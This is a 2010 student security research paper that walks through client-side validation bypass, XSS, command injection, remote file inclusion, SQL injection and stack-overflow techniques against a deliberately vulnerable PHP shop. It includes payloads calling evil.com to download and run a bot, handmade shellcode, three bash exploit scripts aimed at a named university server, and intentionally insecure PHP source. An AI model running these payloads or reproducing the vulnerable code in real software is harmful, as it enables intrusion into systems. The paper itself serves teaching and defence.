Jon Chiappetta

064446081

BTR4 Research Paper 2010

Marry Lynn Manton

Mike Martin

Table of Contents

Intro

The main source of attack against a user today is usually from a vulnerable client application. This typically includes a compromised website containing malicious code embedded in it. This is such a popular avenue of attack because all clients need to be able to make outbound connections in order for them to communicate to anyone else. However, that outbound connection is also a two-way channel allowing attackers to have a legitimate inbound connection back to the client. This makes it extremely difficult for firewalls to not only monitor inbound and outbound traffic but also inspect traffic content. The main way applications are taken advantage of is through insecure scripting, programming or an incorrect implementation.

Client-side validation and flaws

At the highest layer, HTML and JavaScript are usually found on websites as the main client-side scripting languages. The problem includes the fact that any code that is sent to the client can be completely and easily modified. This allows any client-side, user-input validation (with JavaScript for example) to be easily bypassed.

See code in ./shop/cart0.html

The HTML file above is being referenced by another PHP file which will contain a price text box and a submit button. Before submission takes place, the page will first call JavaScript function to help validate the user's input. This function will first create a regular expression variable to check for any characters in the price text that are not numbers. Once the input is validated, it is then submitted to the

server via the form that is embedded on the page. The problem is that this function can be easily bypassed before submission by way of entering a simple line into the URL bar of the browser.

```
javascript:function vali() { document.forms["cadd"].submit(); }
```

The code above will redefine the function specified to not include any of the checking that was supposed to be done and simply just submit anything that is entered into the price text box. This is significant because one might be able to insert fake credit cards, login details or anything else of importance and the server will be trusting the client to be correct.

Server-side validation

The next layer below includes popular web scripting languages like PHP, Python and Perl, which interface with the backend server rather than the client. These languages are more powerful but also more dangerous compared to HTML and JavaScript because they are parsed and executed at the server-side. They have a wider array of functions giving them greater power so care must always be taken in using them correctly.

```
See code in ./shop/comment.php
```

In the code above, PHP is used to display the comments made by users from a HTTP POST form submission. These simple lines can be the source of much havoc because one is able to inject any JavaScript into the site making it run as if the page was originally programmed that way.

```
<script>location.href="http://www.evil.com";</script>
```

The above comment will be saved and displayed which will allow the attacker to redirect anyone who visits that page to another site. This allows an attacker to duplicate the look of the site allowing for the capture of form submission data like usernames and passwords. This is known as a Cross Site Scripting (XSS) or Cross Site Request Forgery (CSRF) attack because the attacker is able to make requests on behalf of the user usually behind the scenes. If one can trick or force a user into visiting that page, they can trick the site into performing some sort of undesired action under that user's credentials. The danger of this attack is that, even if the site itself is over a secured SSL or TLS based connection, it will not issue any warning at all because the domain name is still correct and the HTTP data is still sent to the site under the secured connection. The main way to avoid this type of attack from taking place includes using some sort of server-side regular expression with search and replace functionality.

```
$comm = preg_replace("/[<>'\"]/", "", $comm);
```

The above PHP lines will use a regular expression function to strip out any characters in the user input that includes the less than, greater than, single quote and double quote characters. This is useful because HTML, JavaScript and SQL use those characters to encapsulate code or data that is to be interpreted, run or saved.

Server-side flaws part 1

One of the worst flaws in server-side languages takes place when remote command execution is possible. If this attack is possible, a malicious user is likely to be able to issue system level commands on the server. This may allow them enough

power that they are able to elevate themselves to a more powerful user via a privilege escalation bug or simple password brute forcing.

See code in ./shop/message.php

This code executes a command line program with a list of mail details subbed in as the first argument to the program. It is important to put the user's input in quotes because later on they will be used to contain the input. However, even with the quotes, the user is still able to bypass them with the following input.

' ; wget http://www.evil.com/irc_bot ; ./irb_bot 'start

This will cause early termination for the program's argument and the semicolon will start the execution of a new command. In the bash shell, a chain of commands can be separated by a variety of characters such as:

``, $(), &&, ||, &, |, ;

This is extremely bad because an attacker may be able to execute system commands, which may allow the download of other malicious scripts and binaries or even edit and view sensitive files on the system. In this case we would have an IRC robot running on the server, which could take up valuable bandwidth in an online attack. Preventing this attack is as simple as stripping the user's input of any single or double quotes before the string concatenation takes place. This will prevent the user from ending the quotes already there and since single quotes are inescapable in the bash shell, the input can then be treated as data only instead of command.

Server-side flaws part 2

Similar to the flaw just mentioned is the "remote file include" vulnerability. Server-side languages are able to include local or remote files that are then interpreted by that language. This is mostly useful for separating scripts so that they are only displayed based on what the user is doing and they will not have to look at every page all at once.

```
See code in ./shop/login.php
```

Since the login page has many other user related functions separated into other areas, it uses the include statement to only show the page related to the user's requests. This code will take the HTTP GET variable as the filename and include that file for parsing by PHP.

```
http://www.good.com/shop/login.php?file=http://www.evil.com/wget.php
```

Since PHP is able to execute system commands with the system, exec and passthru functions, you are given command line access. An attacker is able to specify the download of an IRC program as well as the execution of it remotely. To prevent this attack, one is able to strip slashes from the user's input which will prevent users from specifying remote files or local files in other directories.

SQL flaws

The above server-side languages often interface with a Structured Query Language (SQL) database because the SQL language is extremely fast, powerful and flexible. Since this technology is used so much, it to has also been subject to a number of attacks. An SQL injection attack typically includes the misinterpretation of user input, which was supposed to be SQL data, as an SQL command. The problem

with SQL, like bash script, is that user input which was supposed to be just data, is not separated from the syntax of the language. This makes it possible for malicious users to trick the system into parsing user data as language command.

See code in ./shop/login.php

The PHP file above is a simple example of how user input can be used to find a valid login to a website. The script will take a username and password and look for any matches in the SQL table specified. If it finds one, it could be used to authenticate a user and allow them to login. However, if one were to enter some specially crafted input, they could trick the database into returning every entry.

```
' or 1=1 ; --
```

The above input would be an example of an SQL injection selection attack, as it would change the SQL query to terminate its comparison quotation early and add a new comparison at the end. This would translate to, select anything from the SQL table where the username is some user input and the password is empty or 1=1. Since 1=1 is always true, every entry in the SQL table will evaluate to true and it will return every entry in that table. This makes it possible to get a complete list of logins from an SQL table or even attempt to authenticate as another user. Adding the same PHP script above to strip single and double quotes prevents this attack by stopping the user from ending the quotes containing the SQL data. This in turn prevents the SQL data from turning into an SQL command.

The secure login challenge

The task of creating a secure login form can be a difficult project for those new to website development. A first attempt may be to hide the password in the HTML source of the webpage for validation.

See code in ./shop/login_chal/0000.80756887.php

However, since every browser is already downloading the source code of the site to be parsed and displayed, anyone is able to view that source and grab the password. One might try to hide the password in a file on the web server relying on the fact that web servers with an index file prevent the listing of the related directory.

Example in file ./shop/login_chal/0100.72935274.php

This technique can be subject to attack if the file is specified in the client source or contains a guessable/dictionary/brute-forcible filename. Extra measures might be put in place to check that the form was submitted from a certain IP address only.

As seen in ./shop/login_chal/0200.46341505.php

This can also be spoofed if any information is specified anywhere in the client side form during submit time. A login page may also depend on the HTTP protocol by checking that the referrer and/or cookie header is set to some unique value. This may be done to help prevent people from downloading the source and simply submitting it on their own.

See code in ./shop/login_chal/0300.87236694.php and ./shop/login_chal/0400.28052538.php

However, any checks for any HTTP header field value can be forged if the server does not sign it cryptographically. Password obfuscation can be attempted in JavaScript to encrypt or hash the password in order to trick those who are not familiar with a scripting or programming language.

Example in file ./shop/login_chal/0500.10380628.php

As seen before, client side scripting is still be viewable in the webpage and available for decryption or brute force for those with the right knowledge. An external script could try to verify the password in an attempt to place the authentication power outside of the site itself.

Implemented in file ./shop/login_chal/0600.05580697.php

However, with the attacks mentioned above, great care must be taken in preventing users from executing their own code via malicious password input. One way to prevent these attacks is to have the user login over an SSL or TLS connection to start with. Then, verify the username and password-hash from an SQL database in a secure manner to look for any matches. If a login is successful, then use a secret server-side password (stored in the server-side script only) to sign a login credential for the client. For example, the server could set the following client cookies: (where || is string concatenation)

```
info = (timestamp || client privilege || client username)
auth = hash(info || client password || server secret)
```

The important part is the server hashing the data with a secret key, which will then prevent clients from simply creating or injecting their own cookies. It is best to send everything over an SSL or TLS connection otherwise the cookies are

likely to be sniffed and replayed allowing an attacker to masquerade as another user.

How a program works

When a program is first executed, the Operating System (OS) allocates a certain amount of real memory for it and maps it out as virtual memory. This virtual memory is separated from other programs and looks just like real memory to that program. The programs main instructions and data are placed near the top of that virtual memory (starting from the lower address space) along with any necessary linked libraries (created with programs like `as, ld and gcc`). The program's execution begins from a pre-defined starting function and carries on out until there's no code left to execute. In order for the program to do anything useful, it will need a place to store data for processing. The virtual memory contains a type of storage called the heap, which starts after the program's instructions near the top of memory. This memory grows downwards starting from the low memory addresses towards the high. The heap holds dynamically allocated memory, which usually includes buffers of undetermined size until run time. There is another type of storage called the stack, which starts at the bottom of this virtual memory space and grows upwards in reverse, from high memory addresses towards low. In the middle is free space left for the heap or the stack to grow into if necessary.

How the stack works [1]

When a program is executing and function `A` calls function `B`, function `A` needs to store its current executing position somewhere. This takes place so that when

function B is finished, function A can continue on and execute the rest of its code. The stack is used to store these return-pointers (EBP + EIP) for the calling functions by way of pushing them onto and popping them off of the stack (ESP). A return pointer is simply a memory address containing the code of function A's next instruction. However, if function B has to store some user input for example, this means that it might have to push a buffer onto the stack as well. Function B's buffer is now on top of functions A's return pointer on the stack. If function B is not careful in how much data it writes to its buffer on the stack, it could end up writing past the buffer and into function A's return pointer. When the return pointer on the stack is changed, the programs execution path also changes. If the program's execution is changed, the machine will continue to run like any regular program would and the program may now be under control by an attacker. This control could include the ability to make a connection back to the attacker for remote command and control via a command line.

Protections and attacks for virtual memory [2]

One method used for memory protection is the NX bit (provided in hardware) or W^X (implemented in software) which allows the compiler to mark certain memory as either an executable address space or writeable but never both. This means an attacker can write data to an address but not execute it or simply execute code not in control of the attacker. Another prevention to buffer overflows includes something called stack canaries. A stack canary is a random value generated by the program at run time where function A will place it on top of or after the return pointer (on the stack) before function B is called. This value is in

between and separates the return pointer from the buffers allowing for a final check to take place. Before function `B` is finished, it will attempt to stop the entire program if the canary value has changed before returning to function `A`. In addition, the return pointer is also `XOR'd` with this random value to provide simple return pointer encryption, also helping to prevent program modification. In addition to this protection is Address Space Layout Randomization (ASLR), which will randomize the memory locations of any buffer in the virtual memory space. This makes it harder for attackers to guess where the addresses are for buffers in memory.

NOP sleds

A common trick to increase the chance of guessing a buffer's memory address is to fill the buffer with no operation instructions (NOP) first followed by the shell code. The NOP code is there so that the attacker has an increased number of memory locations to point to, since a NOP instruction just tells the program to carry on to the next instruction. If any memory location containing the NOP sled is guessed, then the current executing instruction will just slide down all of them until it hits the shell code and starts executing it.

Return-to-stack (or heap) attack

This starts with an attacker first filling the buffer with shell code (which is typically machine code derived from an assembly program) and keeps filling it up into the return pointer. The attacker now has to find somewhere in memory to which to change the programs execution path. This could be the memory address of the buffer containing the shell code, which could be on the stack or on the heap. The problem is estimating where the buffer is in memory but the attacker is able to

make educated guesses about where it is if it is not randomized. For example, stack memory addresses tend to start in high memory addresses and heap memory starts at the lower address space.

Return-to-libc in stack (or heap) attack

In order to help get around the NX bit or W^X protection, one has to first find a way to write to any buffer or set an environment variable to contain a system command. The next step is to carry out a stack-based buffer overflow and change the return pointer to the memory address of a `libc` function call (for example, system). You must continue to write four more bytes for a fake return pointer and then write the memory address of the buffer as the argument for the system call. When the first executing function exits, it will pop everything it put on the stack off as well as the next return pointer for the system function call. The system function is then called with a new fake memory address as the next return pointer and the memory address of the buffer as the argument. The system call will use that argument to execute the system command and then return to the given return pointer. This is known as the `return-to-libc` attack because the `libc` library gets compiled in with most programs and includes a variety of functions with fixed memory addresses like the system function. They can therefore be called from a buffer overflow and pointed to a non-executable buffer containing the function's arguments. Since the arguments are string based system commands we don't need execute permissions on the buffer thus bypassing those protections.

Return-to-reg attack

To help get around ASLR, one is able to use the above attacks and brute force a vulnerable program until your memory address is randomly chosen. However, this may take a while if we don't have a lot of NOP sleds. The other option is to try a `return-to-esp` attack. The goal is to find a `jmp esp` instruction and its memory address somewhere already in the program. You can then proceed to fill the buffer, overwrite the return pointer to that address and then continue to fill the stack with shell code. The buffer will got popped off along with the return pointer and the jump instruction will jump to the top of the stack which is now pointing to the shell code. In addition to this is the `return-to-eax` attack allowing an attacker to find a `jmp eax` instruction somewhere in the program. When functions are set to return a variable, they place them in the `eax` register before resuming execution. This means that an attacker may find this instruction somewhere in memory and as well as a function that is returning a memory address pointing to shell code. They could then overwrite the buffer into the return pointer and simply insert the memory address of the `jmp eax` code. The jump code will be executed and since the returning function put the buffer's memory address into the `eax` register, the shell code can now be executed.

Assembly program

To demonstrate a realistic attack against the vulnerable server program we must first create an x86 assembly program, which we will turn into machine code later. The example below will simply write to standard output if the code is run successfully.

```
.globl _start

_start:
       push $0x0a796e6e ; push the data "\nynn" onto the stack
       push $0x686f6a0a ; push the data "hoj\n" onto the stack
       mov %esp, %esi ; save the memory address of the current stack pointer
       xor %edx, %edx ; zero out the edx register
       mov $0x8, %dl ; store the size of the data above - 8 bytes
       push %edx ; push the size on the stack as the third argument
       xor %ecx, %ecx ; zero out the ecx register
       mov %esi, %ecx ; store the mem adr pointing to our data above
       push %ecx ; push it on the stack as the second arg
       xor %ebx, %ebx ; zero out the ebx register
       mov $0x1, %bl ; store the number for standard output - 1
       push %ebx ; push it on the stack as the first arg
       xor %eax, %eax ; zero out the eax register
       mov $0x4, %al ; store the system call number for write() - 4
       push %eax ; push it on the stack before our interrupt request
       int $0x80 ; interrupt the kernel to call the function
```

To start, we push the letters “\njohnny\n” backwards and in reverse order on the stack to satisfy how the x86 stack type will read it. This is necessary because the stack grows in a reverse direction (from high memory to low memory) and it stores data in little-endian format. We have self referenced this data by using the current stack pointer as the memory address for the data and not some fixed address that may change on different systems. Another important note is that we have avoided finding any NULL’s in the above assembly when it gets turned into machine code by using smaller sized registers for smaller numbers. For example, referring to the **`ax`** (16 bits) register as **`al`** (8 bits) instead of **`eax`** (32 bits) and so on.

To assemble this simple program into machine code the following command can be used, `as -g -o write.o write.s`. In order to link the necessary libraries and files into this program we must now use the command `ld -e "_start" -o write write.o`. Once it is compiled, you are now able to run just like any other valid program and see that the right code successfully executes.

Shell code creation

On most Linux systems, you are able to obtain the machine code or shell code of the program with the following command, `objdump -d write`.

```
08048054 <_start>:
 8048054:    68 6e 6e 79 0a          push   $0xa796e6e
 8048059:    68 0a 6a 6f 68          push   $0x686f6a0a
 804805e:    89 e6                   mov    %esp,%esi
 8048060:    31 d2                   xor    %edx,%edx
 8048062:    b2 08                   mov    $0x8,%dl
 8048064:    52                      push   %edx
 8048065:    31 c9                   xor    %ecx,%ecx
 8048067:    89 f1                   mov    %esi,%ecx
 8048069:    51                      push   %ecx
 804806a:    31 db                   xor    %ebx,%ebx
 804806c:    b3 01                   mov    $0x1,%bl
 804806e:    53                      push   %ebx
 804806f:    31 c0                   xor    %eax,%eax
 8048071:    b0 04                   mov    $0x4,%al
 8048073:    50                      push   %eax
 8048074:    cd 80                   int    $0x80
```

At this stage, you simply take the output above and reformat it so that only the hexadecimal data is put together. Once again, this is the actual machine code instruction so be sure that it does not contain any NULL's in it or else the code will get truncated by any type of C string functions like strcpy. Given the above code the actual shell code output would be,

\x68\x6e\x6e\x79\x0a\x68\x0a\x6a\x6f\x68\x89\xe6\x31\xd2\xb2\x08\x52\x31\xc9\x89\xf1\x51\x31\xdb\xb3\x01\x53\x31\xc0\xb0\x04\x50\xcd\x80.

Attack shell scripts

The website below hosts a vulnerable server program which deals with mail messages being sent from the users of the site.

Code in file ./shop/message.php

Since the vulnerable mail program will use each field of the HTTP POST as it's first argument, we can simply send the exploit code to the message PHP page. Here is a working return-to-buffer stack overflow.

```
#!/bin/bash

# Define the shell code and return pointer

nopcode="%90"
shellcode="%68%6e%6e%79%0a%68%0a%6a%6f%68%89%e6%31%d2%b2%08%52%31%c9%89%f1%51%31%db%b3%01
%53%31%c0%b0%04%50%cd%80"
return="%88%b0%04%08"
shellcode="$shellcode$return"

# Define the server information

serv="Host: matrix.senecac.on.ca"
refr="referer: message.php"
mode="mode=send"
subj="subject=test subject"
site="http://matrix.senecac.on.ca/~jchiappetta/shop/message.php"

# Get the length of the shell code so we can keep track of what size works

x=$(printf "%s" "$shellcode" | wc -c)
let x="$x / 3"
temp=""

# Loop until we have run our code

while [ "$temp" == "" ]
do
```

```
        # Append the nop sled in front of the code here

        shellcode="$nopcode$shellcode"
        let x="$x + 1"

        # HTTP post our exploit here

        send="message=$shellcode"

        outp=$(curl -s -H "$serv" -H "$refr" -d "$mode" -d "$subj" -d "$send" "$site")
        temp=$(echo "$outp" | grep -i "johnny <br />")

        printf "."
done

# Print out how much nop sled and code we needed

echo
echo "$outp"
echo "$x"
```

This code will use a pre-known heap memory address that starts with **\x08** and then simply brute force how much data is needed to overwrite the return pointer by pre-padding the shell code with NOP instructions **\x90**. Once an overflow size is found, you are able to change the return pointer to a fake address that starts with **\xbf** and attempt a brute force to try and get a successful return-to-stack attack bypassing ASLR. This attack is stopped with the NX-bit or W^X protection methods. Next is a return-to-libc attack to help bypass the NX-bit or W^X protection.

```
#!/bin/bash

# Define the command, system address and buffer address

prefix="%2f"
command="%2f%62%69%6e%2f%65%63%68%6f%20%6a%6f%68%6e%6e%79%3b"
return="%18%85%04%08"
fakereturn="%90%90%90%90"
buffer="%88%b0%04%08"
command="$command$return$fakereturn$buffer"

# Define the server information

serv="Host: matrix.senecac.on.ca"
refr="referer: message.php"
mode="mode=send"
subj="subject=test subject"
site="http://matrix.senecac.on.ca/~jchiappetta/shop/message.php"

# Get the length of the command code so we can keep track of what size works

x=$(printf "%s" "$command" | wc -c)
let x="$x / 3"
temp=""

# Loop until we have run our code

while [ "$temp" == "" ]
```

```
do
        # Append the slash sled in front of the code here

        command="$prefix$command"
        let x="$x + 1"

        # Send our exploit here

        send="message=$command"

        outp=$(curl -s -H "$serv" -H "$refr" -d "$mode" -d "$subj" -d "$send" "$site")
        temp=$(echo "$outp" | grep -i "johnny <br />")

        printf "."
done

# Print out how much path sled and command we needed

echo
echo "$outp"
echo "$x"
```

The above script will declare a valid bash shell command with a semi-colon to separate it from any random data that might come after it. It then appends the memory address of the system command, the memory address for the next function to be executed after the system call and then the memory address of the heap buffer storing the command. The script will brute force the size of the data needed to overflow the buffer by pre-pending /'s to the command as the command /////bin/command is still a valid command. Like the attack before this, you can brute force a stack memory address to bypass ASLR. To bypass ASLR without the need for brute forcing comes the return-to-reg attack.

```
#!/bin/bash

# Define the shell code and return pointer

nopcode="%90"
shellcode="%68%6e%6e%79%0a%68%0a%6a%6f%68%89%e6%31%d2%b2%08%52%31%c9%89%f1%51%31%db%b3%01
%53%31%c0%b0%04%50%cd%80"
return="%78%b0%04%08"
shellcode="$return$shellcode"

# Define the server information

serv="Host: matrix.senecac.on.ca"
refr="referer: message.php"
mode="mode=send"
subj="subject=test subject"
site="http://matrix.senecac.on.ca/~jchiappetta/shop/message.php"

# Get the length of the shell code so we can keep track of what size works

x=$(printf "%s" "$shellcode" | wc -c)
```

```
let x="$x / 3"
temp=""

# Loop until we have run our code

while [ "$temp" == "" ]
do
        # Append the nop sled in front of the code here

        shellcode="$nopcode$shellcode"
        let x="$x + 1"

        # Post our exploit here

        send="message=$shellcode"

        outp=$(curl -s -H "$serv" -H "$refr" -d "$mode" -d "$subj" -d "$send" "$site")
        temp=$(echo "$outp" | grep -i "johnny <br />")

        printf "."
done

# Print out how much nop sled and code we needed

echo
echo "$outp"
echo "$x"
```

In this attack the only difference is placing the return pointer memory address before the shell code because once the return pointer gets popped, it will jump to the jump-to-eax instruction and then jump back to the top of the stack where the shell code is placed.

Conclusion

As you can see, server-side, user-input sanitization is the only sure way to help prevent attacks from clients. Security should always be taken out of the user's hands and placed into the server's hands as the user may have malicious intent. Some further areas of study with regards to this work include reliable return-to-got attacks [3], bypassing Stack-Smashing Protector/ProPolice [4], heap spraying [5], integer overflows, integer conversions and format string vulnerabilities.

Sources

[1] Leo Laporte and Steve Gibson. “Buffer Overruns.” <http://www.grc.com/sn/sn-039.htm>

[2] Aleph One. “Smashing The Stack For Fun And Profit.” <http://www.phrack.com/issues.html?issue=49&id=14>

[3] c0ntex. “How to hijack the Global Offset Table with pointers for root shells.” <http://www.infosecwriters.com/text_resources/pdf/GOT_Hijack.pdf>

[4] Bulba and Kil3r. “BYPASSING STACKGUARD AND STACKSHIELD.” <http://www.phrack.com/issues.html?issue=56&id=5>

[5] Matt Conover & w00w00 Security Team. “w00w00 on Heap Overflows.” <http://www.w00w00.org/files/articles/heaptut.txt>

Source Code

```
--------------------------------------------------------------------------------------------
./shop/attack.txt
--------------------------------------------------------------------------------------------

index.php
- sql injection select via a http get variable [numb]

search.php
- client side input limitation via html [search]
- sql injection select via a http get variable [search]

cart.php
- client side input validation via javascript [function vali()]
- sql injection select via a http get variable [numb]

comment.php
- client side input validation via javascript [function vali()]
- xss/csrf attack via a http post variable [name or comment]

message.php
- client side input validation via javascript [function vali()]
- direct request/forced browsing via a spoofed http header [referer]
- server side cmd execution via a http post variable [from, recv, subject or message]

login.php
- sql injection select via a http post variable [pass] (stops at first user - admin)
- php remote file include via the http get variable [file] (when a user is logged in)

mail_prog
- stack-overflow
--- return-to-stack (or heap) (if no nx-bit, canary or aslr)
--- return-to-stack-brute-force (or heap) (if no nx-bit or canary)
--- return-to-libc-in-stack (or heap) (if no canary or aslr)
--- return-to-libc-in-stack-brute-force (or heap) (if no canary)
--- return-to-esp (if no canary)
--- return-to-eax (if no canary)
--- return-to-got (if heap pointer before stack var and no var re-ordering on stack)

--------------------------------------------------------------------------------------------
./shop/cart.php
--------------------------------------------------------------------------------------------

<?php
   include "common.php";
?>

<b>Cart</b><p />

<?php
   include "common0.html";
?>

<?php
   include "cart0.html";

   // Create a new, empty cart if it doesn't exist yet

   if (!isset($_SESSION["cart"]))
   {
      $_SESSION["cart"] = array();
   }

   // View a current item that is being added to the cart

   if ($_GET["mode"] == "view")
   {
      $numb = pres(1, $_GET["numb"], $webr);
```

```
   $query = "select * from item where item_numb = '".$numb."';";
   sql_q($query);

   while ($line = sql_r())
   {
      echo "<b>".$line[1]."</b><br /> \n";
      echo $line[3]."<br /> \n";
      echo "<img src=\"".$line[4]."\" /><br /> \n";
      echo "</td></tr> \n";

      echo "<form action=\"cart.php\" method=\"post\" id=\"cadd\"> \n";
      echo "<input type=\"hidden\" name=\"mode\" value=\"cadd\" /> \n";
      echo "<input type=\"hidden\" name=\"name\" value=\"".$line[1]."\" /> \n";
      echo "Price: $ <input type=\"text\" id=\"price\" name=\"price\" ";
      echo " value=\"".$line[2]."\" size=\"8\" readonly=\"true\" /> \n";
      echo "x Quantity: # <input type=\"text\" id=\"many\" name=\"many\" ";
      echo " value=\"1\" size=\"8\" /> \n";
      echo "<input type=\"button\" onclick=\"vali();\" value=\"Add to cart\" /> ";
      echo " \n";
      echo "</form> \n";
   }
}

// Append the item name, price and quantity to the cart

if ($_POST["mode"] == "cadd")
{
   $_SESSION["cart"][] = $_POST["name"]."|".$_POST["price"]."|".$_POST["many"];
}

// Remove a single item or all items from the cart

if ($_GET["remove"] == "all")
{
   $_SESSION["cart"] = array();
}

else if (isset($_GET["remove"]))
{
   unset($_SESSION["cart"][$_GET["remove"]]);

   $_SESSION["cart"] = array_values($_SESSION["cart"]);
}

// Print out a table of all of the items in the cart

echo "<table border=\"1\"> \n";

echo "<tr> \n";
echo "<td>Number</td> \n";
echo "<td>Item</td> \n";
echo "<td>Price</td> \n";
echo "<td>Quantity</td> \n";
echo "<td>Action</td> \n";
echo "</tr> \n";

$l = count($_SESSION["cart"]);
$t = 0;

for ($x = 0; $x < $l; ++$x)
{
   $list = split("\|", $_SESSION["cart"][$x]);

   $price = pres(1, $list[1], "[^0-9]");
   $many = pres(1, $list[2], "[^0-9]");

   $t += ($price * $many);

   echo "<tr> \n";
   echo "<td>".$x."</td> \n";
   echo "<td>".$list[0]."</td> \n";
```

```
      echo "<td>$".$list[1]."</td> \n";
      echo "<td>#".$list[2]."</td> \n";
      echo "<td>[ <a href=\"cart.php?remove=".$x."\">Remove</a> ] </td> \n";
      echo "</tr> \n";
   }

   echo "<tr> \n";
   echo "<td></td> \n";
   echo "<td>Total: </td> \n";
   echo "<td>$".$t."</td> \n";
   echo "<td></td> \n";
   echo "<td> \n";
   echo "[ <a href=\"cart.php?remove=all\">Remove all</a> ] \n";
   echo "[ <a href=\"login.php?checkout=true\">Check out</a> ] \n";
   echo "</td> \n";

   echo "</table><br /> \n";
?>
```

./shop/cart0.html

```
<script>
   /*
      Summary:   cart.php will call this function to validate that the prices are
                 numerical and if so then submit the form
      Parameters:   None
      Return:      Nothing
   */

   function vali()
   {
      price = document.getElementById("price");
      many = document.getElementById("many");

      numb = /[^0-9]/;

      if (price.value.search(numb) != -1)
      {
         alert("Please enter numbers only for the price");
      }

      else if (many.value.search(numb) != -1)
      {
         alert("Please enter numbers only for the quantity");
      }

      else
      {
         document.forms["cadd"].submit();
      }
   }
</script>
```

./shop/comment.php

```
<?php
   include "common.php";
?>

<b>Comment</b><p />

<?php
   include "common0.html";
?>

<?php
   include "comment0.html";
```

```
   // Insert the newly submitted comment into the sql database

   if ($_POST["mode"] == "cadd")
   {
      $name = pres(1, $_POST["name"], $webr);
      $comm = pres(1, $_POST["comment"], $webr);
      $comm = preg_replace("/\r\n|\r|\n/", "<br />", $comm);

      $query = "insert into comment values (NULL, '".$name."', '".$comm."');";
      sql_q($query);
   }

   // Print out a list of all comments in table form

   $query = "select * from comment;";
   sql_q($query);

   echo "<table border=\"1\" width=\"50%\"> \n";
   echo "<tr><td>Comments</td></tr> \n";

   while ($line = sql_r())
   {
      echo "<tr><td> \n";
      echo "<b>Name: ".$line[1]."</b><br /> \n";
      echo "Comment: ".$line[2]."<br /> \n";
      echo "</td></tr> \n";
   }

   echo "</table> \n";
?>
```

./shop/comment0.html

```
<script>
   /*
      Summary:   comment.php will call this function to validate that the names and
                 comments are not empty and if so then submit the form
      Parameters:   None
      Return:      Nothing
   */

   function vali()
   {
      name = document.getElementById("name");
      comm = document.getElementById("comment");
      data = /.+/;

      if (name.value.search(data) == -1)
      {
         alert("Please enter a name");
      }

      else if (comm.value.search(data) == -1)
      {
         alert("Please enter a comment");
      }

      else
      {
         document.forms["msnd"].submit();
      }
   }
</script>

<form action="comment.php" id="msnd" method="post">
   <input type="hidden" name="mode" value="cadd" />
   Name: <br />
   <input type="text" id="name" name="name" /><br />
```

```
   Comment: <br />
   <textarea id="comment" name="comment" rows="10" cols="50"></textarea><br />
   <input type="button" onclick="vali();" value="Comment" />
</form>

--------------------------------------------------------------------------------
./shop/common.php
--------------------------------------------------------------------------------

<?php
   session_start();


   /*
      Global variables:

      vers - The site version number
      serv/user/pass/daba - The sql server host, user, password and database name
      webr - A list of characters to strip for website protection
      prot - The site protection level stating the attacks allowed
            (0: web+sql+exec, 1: web+sql, 2: none)
      mode - A message describing the protection level

      path - The prefix path to the sqlite binary
      sqle - The full path to the sqlite binary
      webw - A temporary directory with write access
      outp - A stored list of returned sql row results
   */

   $vers = "0.4.6";
   $serv = "localhost";
   $user = "shopuser";
   $pass = "trytoguess";
   $daba = "shop";
   $webr = "[<>'\"]";
   $prot = 1;
   $mode = array("Not Protected", "Semi Protected", "Fully Protected");

   $path = "../..";
   $sqle = $path."/bin/sqlite/sqlite3";
   $webw = $path."/web";
   $outp = array();


   /*
      Summary:   Execute an sqlite query by first writing the query to a random
                temporary file, reading from it and then removing the file when
                finished
      Parameters:   query - the sql query
      Return:      Nothing
   */

   function sqll_q($query)
   {
      global $daba;
      global $webw;
      global $sqle;
      global $outp;

      $datab = preg_replace("/[^0-9A-Za-z]/", "", $daba);
      $query = preg_replace("/[\r\n\|]/", "", $query);

      $fname = $webw."/".rand();
      $datab = $webw."/".$datab.".db";
      $outp = array();

      $fobj = fopen($fname, "w");
      fwrite($fobj, $query);
      fclose($fobj);

      exec($sqle." ".$datab." < ".$fname." ; rm ".$fname, $outp);
```

```
}

/*
   Summary:   Split the sqlite row results, store the next entry and remove it
              from the global variable list
   Parameters:   None
   Return:      The next sqlite row result
*/

function sqll_r()
{
   global $outp;

   if (count($outp) < 1)
   {
      return 0;
   }

   $list = split("\|", $outp[0]);

   unset($outp[0]);

   $outp = array_values($outp);

   return $list;
}

/*
   Summary:   Decides what sql option is available based on if the path variable
              is set
              Performs a query storing the result in a global variable for later
              retrieval
   Parameters:   query - The sql query
   Return:      Nothing
*/

function sql_q($query)
{
   global $path;
   global $serv;
   global $user;
   global $pass;
   global $daba;
   global $outp;

   if ($path == "")
   {
      $conn = mysql_connect($serv, $user, $pass);
      mysql_select_db($daba);
      $outp = mysql_query($query);
      mysql_close($conn);
   }

   else
   {
      sqll_q($query);
   }
}

/*
   Summary:   Decide on which sql row function to call based on the path variable
   Parameters:   None
   Return:      One sql row result
*/

function sql_r()
{
   global $path;
   global $outp;

   if ($path == "")
```

```
      {
         return mysql_fetch_row($outp);
      }

      else
      {
         return sqll_r();
      }
   }

   /*
      Summary:   Strip a given string to protect against certain web attacks
      Parameters:   seve - The type of string to compare to the protection level
                stri - The input string
                regx - The characters to strip from the string
      Return:      The modified string
   */

   function pres($seve, $stri, $regx)
   {
      global $prot;

      $stri = stripslashes($stri);

      if ($prot > $seve)
      {
         $stri = preg_replace("/".$regx."/", "", $stri);
      }

      return $stri;
   }


   echo "Version: ".$vers." - "."Mode: ".$mode[$prot]." - \n";
?>

--------------------------------------------------------------------------------
./shop/common0.html
--------------------------------------------------------------------------------

[ <a href="index.php">Home</a> ]
[ <a href="search.php">Search</a> ]
[ <a href="cart.php">Cart</a> ]
[ <a href="comment.php">Comment</a> ]
[ <a href="message.php">Message</a> ]
[ <a href="login.php">User</a> ]
[ <a href="login_chal/">Login Challenges</a> ]
<p />

--------------------------------------------------------------------------------
./shop/index.php
--------------------------------------------------------------------------------

<?php
   include "common.php";
?>

<b>Home</b><p />

<?php
   include "common0.html";
?>

<?php
   /*
      Local variables:

      what - The trailing sql term to specify a selected item
      size - The image size given depending on the number of items being selected
   */
```

```
   $what = "";
   $size = "width=\"30%\" height=\"30%\"";

   // Select and view a single item that is being requested

   if ($_GET["mode"] == "view")
   {
      $numb = pres(1, $_GET["numb"], $webr);
      $what = "where item_numb = '".$numb."'";
      $size = "";
   }

   // Perform the sql query and place the item or items in a table

   $query = "select * from item ".$what.";";
   sql_q($query);

   echo "<table border=\"1\"> \n";
   echo "<tr><td>Items</td></tr> \n";

   while ($line = sql_r())
   {
      echo "<tr><td> \n";
      echo "<b>";
      echo "[ <a href=\"index.php?mode=view&numb=".$line[0]."\">".$line[1]."</a> ] ";
      echo "</b> \n";
      echo "- $".$line[2]." \n";
      echo "[ <a href=\"cart.php?mode=view&numb=".$line[0]."\">Add to cart</a> ] ";
